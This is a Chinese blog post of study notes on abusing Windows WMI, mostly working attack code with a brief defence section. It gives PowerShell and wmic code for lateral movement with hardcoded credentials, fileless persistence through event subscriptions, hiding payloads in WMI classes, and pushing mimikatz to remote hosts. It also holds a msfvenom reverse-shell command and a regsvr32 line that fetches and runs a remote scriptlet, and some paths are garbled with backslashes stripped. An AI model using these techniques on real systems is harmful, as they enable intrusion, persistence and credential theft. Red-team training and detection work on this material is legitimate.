WMI ——重写版

2020-08-12 14:41:42 浏览数 (1)

本文作者:伍默(内网知识星球学员)

本文是以WMI的重写版,本来这份笔记会更长,原版的笔记以Black Hat 2015的Abusing Windows Management Instrumentation (WMI) to Build a Persistent, Asyncronous, and Fileless Backdoor为主要学习资料,在笔记写到大概一万字的时候,Typora 中保存的内容部分丢失。于是重新整理,有了这份,我认为精简版的WMI笔记。

WMI 背景


WMI 是什么?Windows管理规范(WMI)是Microsoft对基于Web的业务管理标准(WBEM),公共信息模型(CIM)和分布式管理任务组(DMTF)的实现。

换句话说:Microsoft CIM WBEM DMTF = WMI

打开MSDN 中关于WMI的描述是这样:

  • Windows Management Instrumentation (WMI) is the infrastructure for management data and operations on Windows-based operating systems。 Windows管理工具(WMI)是基于Windows操作系统的管理数据和操作的基础设施。

快速的过一下这部分内容的重点:

  • WMI实际上的历史非常久远,最早在Windows 2000中内置,后面所有的Windows 系统中都内置了该项服务。
  • WMI使用公共信息模型 (CIM) 表示托管组件,其中包括系统、应用程序、网络等等
  • CIM中使用 “Class"(类)表示管理对象,类的实例是“Object”,名称空间(Namespace)是一个类的集合。类包含属性(Property)和方法(Method)。
  • WMI支持Schema的概念。Schema 是描述特定管理环境的一组类。Microsoft Windows SDK 中使用了两个 Schema : CIM Schema 和 Win 32 Schema 。CIM Schema Class 使用 "CIM_" 开头,Win32 Schema Class 使用 "Win32_" 开头。

和WMI交互


在开始WMI之前,我建议 WmiExplorer 查看 自己机器上的Namespaces、Class、Property、Method等等,对我说的概念有一个简单的了解,复杂你可能会看着很懵。

为了验证上面我描述的一些内容,我建议WmiExplorer进行查看:

可以注意到前面描述中的Namespace、Class、Properties、Methods……。

实际上和WMI交互有多种方法:

  • Powershell
  • wmic.exe
  • wbemtest.exe
  • winrm.exe and winrm.vbs
  • WMI Explorer
    • WMI Explorer 2.0.0.2
    • WMI Explorer
    • WMI Tools
    • CIM Explorer 2020(收费,但是非常强大,对类进行了中文说明,VBscript、powershell 代码简洁,推荐)
  • Windows Script Host Languages(VBScript – JScript)
  • IWbem* COM API
  • .NET System.Management classes
  • Linux:wmic and wmis

另外两个小工具:

  • WMI Code Creator 这是微软官方出的一款代码生成器,可生成C#、VB .net 、VB Script代码
  • WMIGen 可生成各种变成语言,调用WMI

除了”IWbem* COM API“和”.NET System.Management classes“没有试过,其余的工具均有测试,推荐使用WMI Explorer ,GUI界面非常好用。

WMI Query Language (WQL)


参考:

Querying with WQL

(https://docs.microsoft.com/en-us/windows/win32/wmisdk/querying-with-wql)

WQL (SQL for WMI)

(https://docs.microsoft.com/en-us/windows/win32/wmisdk/wql-sql-for-wmi)

WMI 查询语言(WQL)是ANSI SQL 的子集,WQL支持以下的查询:

  • Data queries SELECT [Class property name|*] FROM [CLASS NAME] <WHERE [CONSTRAINT]>
  • Event queries SELECT [Class property name|*] FROM [INTRINSIC CLASS NAME] WITHIN [POLLINGINTERVAL] <WHERE [CONSTRAINT]>
  • Schema queries SELECT [Class property name|*] FROM [Meta_Class<WHERE [CONSTRAINT]>

详细的语法请参考文档,这里不做过多介绍,用的最多的是 data queries ,请在实际查询中使用,需要明确的是WQL仅能查询,无法使用 Methods 进行增删改等操作。

Remote WMI Protocols


WMI 可以使用两种协议用于Remote WMI:分布式组件对象模型 (DCOM) 和 Windows 远程管理 (WinRM)。

DCOM

  • Microsoft 在TCP 135 端口和一系列的动态端口(不同版本不一样) 运行DCE RPC end-point mapper为它的DCOM服务
  • 端口可通过注册表项 HKEY_LOCAL_MACHINESoftwareMicrosoftRpcInternet中 的Ports设置
  • 可通过DCOMCNFG.exe 配置
  • 对防火墙不友好(使用 TCP 135和一系列动态端口 1024 到 65535)
  • 默认情况下 Wmi Service ——Winmgmt 在135端口下运行和监听

WinRM/PowerShell Remoting


参考:

About Windows Remote Management(https://docs.microsoft.com/en-us/windows/win32/winrm/about-windows-remote-management)

  • 实验之前,请务必阅读一遍官方官方文档,哪怕是草草看过。

介绍Windows Remote Management(Winrm)之前,先了解WS-Management ,Ws-Man 协议是基于SOAP协议的DMTF开放标准,WinRM则是对WS-Man协议的 Windows 实现。

  • DMTF是不是感觉有点耳熟?前面说WMI背景中就提到过。
  • 默认情况下,从Windows Vista开始成为Windows 的默认组件,从Windows Server 2008 开始, WinRM服务自动启动
  • 默认情况下,未配置WinRM侦听器,即使WinRM服务在运行,无法接受和请求WS-Man 协议消息
  • Ws-Man 流量是加密的,不论HTTP 或HTTPS
  • 默认配置侦听端口是:HTTP(5985)和HTTPS(5986)
    • 注意,这里的默认配置指定是 Winrm quickconfig 之后。

需要明确的是两种协议均支持NTLM or Kerberos,也就是说,Pass The Hash和Pass The Ticket对 Wmi 和WinRM均适用

Powershell-DCOM


从Powershell v3 及后续版本,Powershell 中提供了两种 Cmdlets:

  • CIM Cmdlets
  • WMI Cmdlets
  • 前面我提到过namespace,如果不显式指定,默认namespace 为 rootCIMv2

CIM cmdlets 和WMI Cmdlets 差异在于 CIM Cmdlets 使用WSMAN(WinRM)连接远程计算机,WMI Cmdlets 是所有的是DCOM 连接远程计算机。

  • 如果CIM Cmdlets 使用DCOM 无法建立会话,可以使用 -Protocol 参数退回到DCOM
代码语言:javascript复制
#WMI Cmdlets
$Username ="0dayAdministrator"
$Password = ConvertTo-SecureString "Admin!@#45" -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential
$Username,$Password
#为了避免凭据提示弹框
Get-WmiObject -ComputerName OWA2010SP3 -Credential $Credential -Class
Win32_Process |Select-Object Name,ProcessId
#这里枚举了下进程
#另外支持WQL查询
Get-WmiObject -Query "select * from Win32_Process" |Select-Object Name,ProcessID
#该命令和上面的效果相同
Powershel-WinRM
#CIM cmdlets
$Username ="0dayAdministrator"
$Password = ConvertTo-SecureString "Admin!@#45" -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential
$Username,$Password
$CimSessionOption = New-CimSessionOption -Protocol Dcom
$CimSession = New-CimSession -computerName OWA2010SP3 -Credential $Credential -SessionOption $CimSessionOption

Powershel-WinRM


代码语言:javascript复制
ls wsman:localhost #查看本地计算机WSman提供程序的目录层次结构
#需管理员权限
代码语言:javascript复制
$Username ="0dayAdministrator"
$Password = ConvertTo-SecureString "Admin!@#45" -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential
$Username,$Password
$CimSession = New-CimSession -computerName OWA2010SP3 -Credential $Credential
Get-CimInstance -CimSession $CimSession -ClassName Win32_Process |Select-ObjectName,ProcessId

WMI Eventing


WMI 事件订阅是订阅某些系统事件的方法。

WMI Eventing 有两种:

  • Single process context (本地的单个进程上下文)
  • Permanent WMI Event Subscriptions(永久的WMI 事件订阅)

重点放在Permanent WMI Event Subscriptions上,永久的WMI 事件订阅存储在WMI repository,系统关键/重启之后任然存储着,并且,永久的WMI事件订阅是以System权限运行的。

  • 提一个,WMI repository 的所在目录为 %SystemRoot%System32wbemRepositoryOBJECTS.DATA

WMI Eventing 包含3个组件(同时也是3类):

Event Filter


Event Filter 是一个WQL 查询,它描述了感兴趣的事件。有两种类型:

  • Intrinsic Events(内部事件):轮询事件间隔内触发的事件
  • Extrinsic Events (外部事件):实时过滤器,事件发生时立刻被触发 重复一遍,这里不会有大量的细节,甚至略过了非常多的内容,如细节指出有误请务必指出。

Event Consumer


Event Consumer 是触发事件是要执行的操作,提供了5个类:

  • ActiveScriptEventConsumer:执行嵌入的VBScript/JSCript
  • CommandLineEventConsumer:执行指定的二进制或者命令行 前面两个类是各类攻击中主要使用的类
  • LogFileEventConsumer:写入指定的日志文件
  • NTEventLogEventConsumer:将消息记录到应用程序EventLog中
  • SMTPEventConsumer:每当事件被送达时,适用SMTP发送一封邮件

Filter to Consumer Binding


Filter to Consumer Binding 是将 Filter 绑定到 Consumer 的注册机制

以上3种角色具体到WMI中体现为类,可查询判断是否添加生成:

代码语言:javascript复制
Get-WMIObject -Namespace rootSubscription -Class __EventFilter
Get-WMIObject -Namespace rootSubscription -Class __EventConsumer
Get-WMIObject -Namespace rootSubscription -Class __FilterToConsumerBinding
#注意名称空间参数

WMI Attacks


从攻击者的角度包括不限于可以做到以下这些:

  • Reconnaissance
  • VM/Sandbox Detection
  • Code execution and lateral movement
  • Persistence
  • Data storage
  • C2 communication

Reconnaissance


代码语言:javascript复制
Host/OS information: ROOTCIMV2:Win32_OperatingSystem
Win32_ComputerSystem, ROOTCIMV2:Win32_BIOS
File/directory listing: ROOTCIMV2:CIM_DataFile
Disk volume listing: ROOTCIMV2:Win32_Volume
Registry operations: ROOTDEFAULT:StdRegProv
Running processes: ROOTCIMV2:Win32_Process
Service listing: ROOTCIMV2:Win32_Service
Event log: ROOTCIMV2:Win32_NtLogEvent
Logged on accounts: ROOTCIMV2:Win32_LoggedOnUser
Mounted shares: ROOTCIMV2:Win32_Share
Installed patches: ROOTCIMV2:Win32_QuickFixEngineering
Installed AV: ROOTSecurityCenter[2]:AntiVirusProduct
#查询对应的类即可,灵活运用Select-Object Format-List Format-Table cmdlets

这里提一下wmic,可能大家经常使用

wmic qfe get Caption,Description,HotFixID,InstalledOn

进行补丁的查询,Powershell cmdlets 着是这样的:

代码语言:javascript复制
Get-CimInstance -ClassName Win32_QuickFixEngineering

MSDN有提到“wmic 中的 alias 是对 class 、property、method 的友好重命名”,你可以用 wmic alias qfe list brief 验证这一点:

WMI Attacks – VM/Sandbox Detection


代码语言:javascript复制
SELECT * FROM Win32_ComputerSystem WHERE TotalPhysicalMemory < 2147483648
SELECT * FROM Win32_ComputerSystem WHERE NumberOfLogicalProcessors < 2

可通过内存与处理器的数量来判断是否为VM/Sandbox ,不排除高配置的VM/Sandbox

代码语言:javascript复制
$VMDetected = $False
$Arguments = @{
Class = 'Win32_ComputerSystem'
Filter = 'NumberOfLogicalProcessors < 2 AND TotalPhysicalMemory < 2147483648'
}
if (Get-WmiObject @Arguments) { $VMDetected = $True }
echo $VMDetected = $False
#查看$VMDetected 是否为True

WMI Attacks – VM/Sandbox Detection (VMware)


如果VM/Sandbox 是VMware 的产品,可以从Vmware的一些特征查询:

代码语言:javascript复制
SELECT * FROM Win32_NetworkAdapter WHERE Manufacturer LIKE "%VMware%"
SELECT * FROM Win32_BIOS WHERE SerialNumber LIKE "%VMware%"
SELECT * FROM Win32_Process WHERE Name="vmtoolsd.exe"
SELECT * FROM Win32_NetworkAdapter WHERE Name LIKE "%VMware%"
#如果任意一条语句查询出结果,当前机器大概率是Vmware 的 VM/Sandbox

在Powershell 中是这样的:

  • 后面不在啰嗦, 只要理解这个类的查询逻辑,就很容易理解命令, Get-WmiObject 本质上也是 使用了WQL查询,并且 也支持 -query 参数直接使用WQL查询。
代码语言:javascript复制
$VMwareDetected = $False
$VMAdapter = Get-WmiObject Win32_NetworkAdapter -Filter 'Manufacturer LIKE
"%VMware%" OR Name LIKE "%VMware%"'
$VMBios = Get-WmiObject Win32_BIOS -Filter 'SerialNumber LIKE "%VMware%"'
$VMToolsRunning = Get-WmiObject Win32_Process -Filter 'Name="vmtoolsd.exe"'
if ($VMAdapter -or $VMBios -or $VMToolsRunning) { $VMwareDetected = $True }
echo $VMDetected = $False
#注意几个WQL查询之间的逻辑关系为 OR

WMI Attacks – Code Execution and Lateral Movement


这里给出了两种协议的 代码执行和横向移动方式,基本都类似:

支持Kerberos

代码语言:javascript复制
$Username ="0dayAdministrator"
$Password = ConvertTo-SecureString "Admin!@#45" -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential
$CimSession = New-CimSession -computerName OWA2010SP3 -Credential $Credential
Invoke-CimMethod -CimSession $CimSession -Name Create -ClassName Win32_Process -Arguments @{CommandLine = 'notepad.exe'}
代码语言:javascript复制
$Username ="0dayAdministrator"
$Password = ConvertTo-SecureString "Admin!@#45" -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential InvokeWmiMethod -Class Win32_Process -Name Create -ArgumentList 'notepad.exe' -ComputerName OWA2010SP3 -Credential $Credential

WMI Attacks – Persistence


代码语言:javascript复制
$filterName = 'EventFilter'
$consumerName = 'ConsumerName'
$exePath = 'C:WindowsSystem32calc.exe'
$Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"
#Flter 可以尝试使用其他事件
$WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace
"rootsubscription" -Arguments @{Name=$filterName;EventNameSpace="rootcimv2";QueryLanguage="WQL";Query=$Query}
-ErrorAction Stop
#Event Filter
$WMIEventConsumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace
"rootsubscription" -Arguments @{Name=$consumerName;ExecutablePath=$exePath;CommandLineTemplate=$exePath}
#Event Consumer
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "rootsubscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}
#Filter to Consumer Binding
#需管理员权限

这里使用到的就是WMI Eventing,如果使用WmiExplorer可查看到对应命名空间中创建了新的实例。

适用Process Explorer监控发现calc.exe进程在启动之后,自动结束进程,目前稳定性尚未明确,如果使用来上线,做好进程迁移。

代码语言:javascript复制
Remove-CimInstance -Query "Select * from __EventFilter where Name = 'EventFilter'" -Namespace "rootsubscription"
#删除WMIEventFilter
Remove-CimInstance -Query "SELECT * FROM CommandLineEventConsumer WHERE Name='consumerName'" -Namespace "rootsubscription"
#删除WMIEventConsumer
#删除FilterToConsumerBinding发现CIM cmdlets 报错,暂不明确原因,适用WMI cmdlets 解决
Get-WmiObject -Class __FilterToConsumerBinding -Namespace "rootsubscription" -Filter "Consumer='CommandLineEventConsumer.Name='ConsumerName''" |RemoveWmiObject -Verbose

以上是利用 WMI 进行 Persistence 的核心逻辑,很容易找到以下写好的Powershell 脚本:

  • https://github.com/n0pe-sled/WMI-Persistence/blob/master/WMI-Persistence.ps1

这里代码太多,直接给了图片,整个脚本逻辑很清晰,只有3个函数Install-Persistence、RemovePersistence、Check-WMI,功能和函数名相同,实际使用时仅需要修改 $Payload 值即可持久化上线。

Powershell并不是唯一的选择,wmic 中也能实现相同的效果:

代码语言:javascript复制
wmic /NAMESPACE:"\rootsubscription" PATH __EventFilter CREATE Name="EventFilter", EventNameSpace="rootcimv2",QueryLanguage="WQL",
Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance
ISA 'Win32_PerfFormattedData_PerfOS_System'"
#WMI EventFilter
#系统启动 60秒后触发
wmic /NAMESPACE:"\rootsubscription" PATH CommandLineEventConsumer CREATE
Name="ConsumerName",
ExecutablePath="C:WindowsSystem32calc.exe",CommandLineTemplate="C:WindowsSy
stem32calc.exe"
#WMI Event Consumer
#我这里我启动的是calc
wmic /NAMESPACE:"\rootsubscription" PATH __FilterToConsumerBinding CREATE
Filter="__EventFilter.Name="EventFilter"",
Consumer="CommandLineEventConsumer.Name="ConsumerName""
#WMI Event FilterToConsumerBinding

WMI Attacks – Data Storage

代码语言:javascript复制
$StaticClass = New-Object Management.ManagementClass('rootcimv2', $null,$null)
$StaticClass.Name = 'Win32_EvilClass'
$StaticClass.Put()
$StaticClass.Properties.Add('EvilProperty',"This is not the malware you're
looking for")
$StaticClass.Put()
#新建本地类存储
#需管理员权限

如何查看其中的值:

代码语言:javascript复制
([WmiClass] 'Win32_EvilClass').Properties['EvilProperty']
#具体的获取Value的值
([WmiClass] 'Win32_EvilClass').Properties['EvilProperty'].value

具体的应用:

代码语言:javascript复制
$LocalFilePath = "C:WindowsSystem32calc.exe"
$FileBytes = [IO.File]::ReadAllBytes($LocalFilePath)
$EncodedFileContentsToDrop = [Convert]::ToBase64String($FileBytes)

$StaticClass = New-Object Management.ManagementClass('rootcimv2', $null,$null)
$StaticClass.Name = 'Win32_EvilClass'
$StaticClass.Put()
$StaticClass.Properties.Add('EvilProperty',$EncodedFileContentsToDrop)
$StaticClass.Put()

$EncodedPayload=([WmiClass]'Win32_EvilClass').Properties['EvilProperty'].value
#将calc Base64吹后存储在Win32_evilClass 的 EvilProperty 中
#怎么执行?
#这里给出两种执行方式,推荐存储的是powershell脚本,否则执行可能会遇到问题

$PowerShellPayload = "powershell -ep bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -enc $EncodedPayload" Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList
$PowerShellPayload

$PowerShellPayload = "cmd /k $EncodedPayload"
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList
$PowerShellPayload

WMI Attacks – C2 Communication (WMI Class) – “Push” Attack

代码语言:javascript复制
# Prep file to drop on remote system
$LocalFilePath = 'C:WindowsSystem32calc.exe'
#当然这个路径可以设置一个网络上的路径
$FileBytes = [IO.File]::ReadAllBytes($LocalFilePath)
$EncodedFileContentsToDrop = [Convert]::ToBase64String($FileBytes)
# Establish remote WMI connection
$Options = New-Object Management.ConnectionOptions
$Options.Username = '0dayAdministrator'
$Options.Password = 'Admin!@#45'
$Options.EnablePrivileges = $True
$Connection = New-Object Management.ManagementScope
$Connection.Path = '\192.168.3.142rootdefault'
$Connection.Options = $Options
$Connection.Connect()
# "Push" file contents
$EvilClass = New-Object Management.ManagementClass($Connection, [String]::Empty,$null)
$EvilClass['__CLASS'] = 'Win32_EvilClass'
$EvilClass.Properties.Add('EvilProperty', [Management.CimType]::String, $False)
$EvilClass.Properties['EvilProperty'].Value = $EncodedFileContentsToDrop
$EvilClass.Put()

和上面的Data Storage 相似,不过这里是通过DCOM 远程连接,写入到远程主机的 Class 的 Properties 中,

代码语言:javascript复制
$EncodedPayload=([WmiClass] 'Win32_EvilClass').Properties['EvilProperty'].value
$PowerShellPayload = "cmd /k $EncodedPayload" Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList $PowerShellPayload
#需要再 192.168.3.142 上执行,如果通过远程读取,需要对应用户凭据
([WmiClass]'\192.168.3.142:Win32_EvilClass').Properties['EvilProperty'].value
#另外笔者测试手里,如果目标是powershell脚本,推荐是使用下面的代码
$EncodedPayload=([WmiClass] 'Win32_Command').Properties['EvilProperty'].Value
#PowerShell执行命令
$PowerShellPayload = "powershell -ep bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -enc $EncodedPayload" Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList $PowerShellPayload

注:笔者未复现成功,但是@九世成功了,我的系统是Win 10 1809 ,他的系统大概是Windows Server 2008 R2

不要误会这一节的标题,这里本意是使用利用WMI 构造C2 (下同),但我这里代码的用途仅仅是通过 Class 的 Properties 储存数据。

参考:

WMI Backdoor(https://juejin.im/post/5aa117a1f265da2384402949)

  • 务必阅读这篇,该篇说的更为详细
代码语言:javascript复制
#完整的代码,
# Prep file to drop on remote system
$LocalFilePath=’C:Usersjerrymimikatz.exe’
$FileBytes=[IO.File]::ReadAllBytes($LocalFilePath)
$EncodedFileContentsToDrop=[Convert]::ToBase64String ($FileBytes)
# Establish remote WMI connection
$Options=New-ObjectManagement.ConnectionOptions
$Options.Username =’0dayAdministrator’
$Options.Password =’Admin!@#45’
$Options.EnablePrivileges =$True
$Connection=New-ObjectManagement.ManagementScope
$Connection.Path =’\192.168.3.142rootdefault’
$Connection.Options =$Options
$Connection.Connect()
# “Push” file contents
$EvilClass=New-ObjectManagement.ManagementClass($Connection,[String]::Empty,$null)
$EvilClass[‘__CLASS’]=’Win32_EvilClass’
$EvilClass.Properties.Add(‘EvilProperty’,[Management.CimType]::String,$False)
$EvilClass.Properties[‘EvilProperty’].Value =$EncodedFileContentsToDrop
$EvilClass.Put()
#$Credential=Get-Credential’WIN-B85AAA7ST4UAdministrator’ 这是原版代码,下面是我修改的代码
$Username ="0dayAdministrator"
$Password = ConvertTo-SecureString "Admin!@#45" -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential
$Username,$Password
$CommonArgs= @{
Credential =$Credential
ComputerName =’192.168.72.134’
}
# The PowerShell payload that will drop the stored file contents
$PayloadText=@’
$EncodedFile = ([WmiClass] ‘rootdefault:Win32_EvilClass’).Properties[‘EvilProperty’].Value[IO.File]::WriteAllBytes(‘C:UsersAdministratormimikatz.exe‘,[Convert]::FromBase64String($EncodedFile))
‘@
$EncodedPayload=[Convert]::ToBase64String([Text.Encoding] ::Unicode.GetBytes($PayloadText))
$PowerShellPayload=”powershell -NoProfile -EncodedCommand
$EncodedPayload”
# Drop the file to the target filesystem
Invoke-WmiMethod @CommonArgs -ClassWin32_Process-Name Create -ArgumentList $PowerShellPayload
# Confirm successful file drop
Get-WmiObject @CommonArgs -Class CIM_DataFile -Filter’Name = ‘C:UsersAdministratormimikatz.exe‘
#远程创建类存储数据,远程使用Powershell读取类中的数据写入到文件系统中

WMI Attacks – C2 Communication (Registry) – “Pull” Attack

代码语言:javascript复制
$Username ="0dayAdministrator"
$Password = ConvertTo-SecureString "Admin!@#45" -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential
$Username,$Password
$CommonArgs = @{Credential =
    $Credential
    ComputerName = '192.168.3.142'
}
$HKLM = 2147483650
#HKEY_LOCAL_MACHINE = 2147483650(0x80000002)
Invoke-WmiMethod @CommonArgs -Class StdRegProv -Name CreateKey -ArgumentList $HKLM,'SOFTWAREEvilKey'
Invoke-WmiMethod @CommonArgs -Class StdRegProv -Name DeleteValue -ArgumentList $HKLM,'SOFTWAREEvilKey','Result'
#在远程主机上新建注册表项和值Result
代码语言:javascript复制
$PayloadText = @'
$Payload = {Get-Process lsass}
$Result = & $Payload
$Output = [Management.Automation.PSSerializer]::Serialize($Result, 5)
#查阅MSDN,发现这是一种序列化对象的方法
$Encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($Output)) Set-ItemProperty -Path HKLM:SOFTWAREEvilKey -Name Result -Value $Encoded
'@
$EncodedPayload = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($PayloadText))
#序列化后对象之后编码为Base64
$PowerShellPayload = "powershell -NoProfile -EncodedCommand $EncodedPayload" Invoke-WmiMethod @CommonArgs -Class Win32_Process -Name Create -ArgumentList $PowerShellPayload
$RemoteOutput = Invoke-WmiMethod @CommonArgs -Class StdRegProv -Name GetStringValue -ArgumentList $HKLM,'SOFTWAREEvilKey','Result'

$EncodedOutput = $RemoteOutput.sValue

$DeserializedOutput = [Management.Automation.PSSerializer]::Deserialize([Text.Encoding]::Ascii.GetString([Convert]::FromBase64String($EncodedOutput)))
#将$EncodedOutput 解码,进行反序列化,笔者测试失败,遇到错误,有成功运行的师傅麻烦指教下。

WMI Attacks – Stealthy Command “Push”


上面例子中基本调用的是 powershell或cmd,在笔者其他篇中提到过ELK配合sysmon,查找这类攻击很容易,在Command-line中查找即可,还记得前面的脚本EventConsumer使用的都是CommandLineEventConsumer,但是没有使用 ActiveScriptEventConsumer,如果使用该类执行 VBScript,则只会启动WMI脚本宿主进程:

代码语言:javascript复制
%SystemRoot%system32wbemscrcons.exe -Embedding
  • 和原演讲PPT有区别,这部分是我在阅读其他师傅的博客得到的表述,其实和利用WMI 永久事件 订阅相同,只不过其中 `CommandLine 变为执行脚本。 如何构造VBScript?相关框架可以自动生成,比如MSF。

整个过程看起来是这样:

  • Event filter example: __IntervalTimerInstruction(可选择其他事件过滤器)
  • Event consumer – ActiveScriptEventConsumer
  • Event FilterToConsumerBinding

等待Payload 执行,删除永久的WMI 事件订阅(也就是3个组件的类的实例),payload是由WMI脚本 宿主进程启动。

没有代码

WMI Providers


参考:WMI Providers

(https://docs.microsoft.com/en-us/windows/win32/wmisdk/developing-a-wmi-provider)

如果你注意到MSDN 文档,WMI Providers 有着详细的开发文档(最常见的是笔记本厂商往往会扩展 WMI Providers),如果构造出恶意的 WMI Providers 就能执行payload或者获取用户的数据。

笔者这反面了解甚少,这里演讲者推荐了几个项目

  • EvilWMIProvider(已404) (https://github.com/subTee/EvilWMIProvider)
  • EvilNetConnectionWMIProvider(最后一次更新是5年前) (https://github.com/jaredcatkinson/EvilNetConnectionWMIProvider)

枚举 WMI Providers:

  • Get-WmiProvider.ps1 (https://gist.github.com/mattifestation/2727b6274e4024fd2481)

PoC WMI Backdoor


掠过,WMI Backdoor 未放出源代码,因此给出的函数实际意义不大。

Attack Defense and Mitigations


参考:Tales of a Threat Hunter 2

(https://www.eideon.com/2018-03-02-THL03-WMIBackdoors/)

检测

  • Powershell或其他工具查询对应的类:Filter、consumer 、FilterToConsumerBinding
  • Autoruns(GUI 界面的WMI菜单栏)

相关文章:透过Autoruns看持久化绕过姿势的分享(一)

(https://www.freebuf.com/articles/network/164252.html)

防御

所有的系统行为都可以引发一个事件,包括前面的创建/删除WMI 永久事件订阅、修改注册表、安装 WMI Providers 都会触发对应的事件。

  • 具体的事件请使用 Get-WmiObject -Class *__*event* -list 查看。

笔者的思路为:注册对应的WMI 永久事件订阅,来监控对应的事件,动作设置为写入日志或其他(列如通知)

注:删除WMI 永久事件订阅本身也可以触发事件

缓解措施

  • 禁用WMI服务:可以会影响依赖该服务的应用
  • 防火墙限制端口
  • 日志

由于WMI 服务涉及 WinRM和DCOM,所以需要查看3种服务的日志,比较推荐使用sysmon 捕获日志

  • Microsoft-Windows-WinRM/Operational
  • Microsoft-Windows-WMI-Activity/Operational
  • Microsoft-Windows-DistributedCom

相关项目:WMI_Monitor(https://github.com/realparisi/WMI_Monit)

各类工具


参考:Persistence – WMI Event Subscription

(https://pentestlab.blog/2020/01/21/persistence-wmi-event-subscription/)

  • WMImplant(https://github.com/n0pe-sled/WMI-Persistence)
  • WMIOps(https://github.com/FortyNorthSecurity/WMIOps)
  • Metasploit 中的 puts generate_mof use exploit/windows/smb/psexec irb puts generate_mof("Metasploit1","notepad.exe") #生成恶意mof文件 #命令部分自定义,例如 regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll #在目标Windows 机器上使用自带的 mofcomp.exe .Metasploit.mof 编译 #如果你愿意阅读下生成的mof文件的代码,核心部分是通过Jscript调用wmi,扩展 Win32Provider,构造WMI 永久事件订阅 #考虑进程迁移 这种方式父进程是 %SystemRoot%system32wbemscrcons.exe -Embedding
  • msfvenom SharpShooter WMIPersistence csc msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.128 LPORT=4444 -f raw -o payload.bin python SharpShooter.py --stageless --dotnetver 2 --payload vbs --output implantvbs --rawscfile payload.bin #@冷逸指出有可能是Outlook.CreateObject() COM 导致的失败 base64 -i output/implantvbs.vbs > ./payload.txt cd C:WindowsMicrosoft.NETFramework64v3.5 # csc.exe WMIPersist.cs /r:System.Management.Automation.dll #windows 中编译 #目标执行,笔者测试为复现成功
代码语言:javascript复制
PoshC2 中Invoke-wmievent
* Metasploit 中的`exploit/windows/local/wmi_persistence`,默认 Filter 是出现4625事件,4625事件是登录失败( runas 输入错误账户密码即可导致该事件 )

* Empire 中 `persistence/elevated/wmi`,同样是 4625 事件触发,`persistence/elevated/wmi_updater`可以从远程获取 payload,注册的 WMI 永久事件订阅 默认Name 为`AutoUpdater`

## 更多的资料
[Abusing Windows Management Instrumentation (WMI) to Build a Persistent,Asyncronous, and Fileless Backdoor](https://www.blackhat.com/docs/us15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-ToBuild-A-Persistent Asynchronous-And-Fileless-Backdoor-wp.pdf)
[THERE’S SOMETHING ABOUT WMI](https://www.fireeye.com/content/dam/fireeyewww/services/pdfs/sans-dfir-2015.pdf)
[Windows管理规范(WMI)指南:了解WMI攻击](https://www.varonis.com/blog/wmi-windowsmanagement-instrumentation/)
[Command and Control – WMI](https://pentestlab.blog/2017/11/20/command-andcontrol-wmi/)
[WMI 101 for Pentesters](https://www.ethicalhacker.net/features/root/wmi-101-for-pentesters/?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed: ehnet (The Ethical Hacker Network - Online Magazine))
[Handling Events with PowerShell and WMI]
(https://www.scriptrunner.com/en/blog/events-powershell-wmi/)
[Blue Team Hacks - WMI Eventing]
(https://mgreen27.github.io/posts/2017/04/03/Blue_Team_Hacks-WMI_Eventing.html)
[WMI vs. WMI: Monitoring for Malicious Activity]
(https://www.fireeye.com/blog/threat-research/2016/08/wmi_vs_wmi_monitor.html)

比较好的中文资料
[Windows WMI技术总结]
(http://1sparrow.com/2019/12/10/Windows WMI技术总结/)
[wmic命令解析与实例]
(https://weiyigeek.top/2019/5/wmic命令解析与%
E5��例.html)
> 完美的介绍了wmic命令的各种应用,用户管理、组管理、加域、配置ip、注册表编辑等等
以及三好学生的几篇博文
[WMI Attacks](http://drops.xmd5.com/static/drops/tips-8189.html)
[WMI Backdoor](https://juejin.im/post/5aa117a1f265da2384402949)
[WMI Defense](https://wooyun.js.org/drops/WMI Defense.html)
[Study Notes of WMI Persistence using wmic.exe]
(https://3gstudent.github.io/Study-Notes-of-WMI-Persistence-using-wmic.exe/)
[WSC、JSRAT and WMI Backdoor]
(https://wooyun.js.org/drops/WSC、JSRAT and WMI Backdoor.html)
FireEye 报告的译文
[WMI的攻击,防御与取证分析技术之攻击篇]
(https://wooyun.js.org/drops/WMI 的攻击,防御与取证分析技术之攻击篇.html)
[WMI 的攻击,防御与取证分析技术之防御篇](http://drops.xmd5.com/static/drops/tips10346.html)

0 人点赞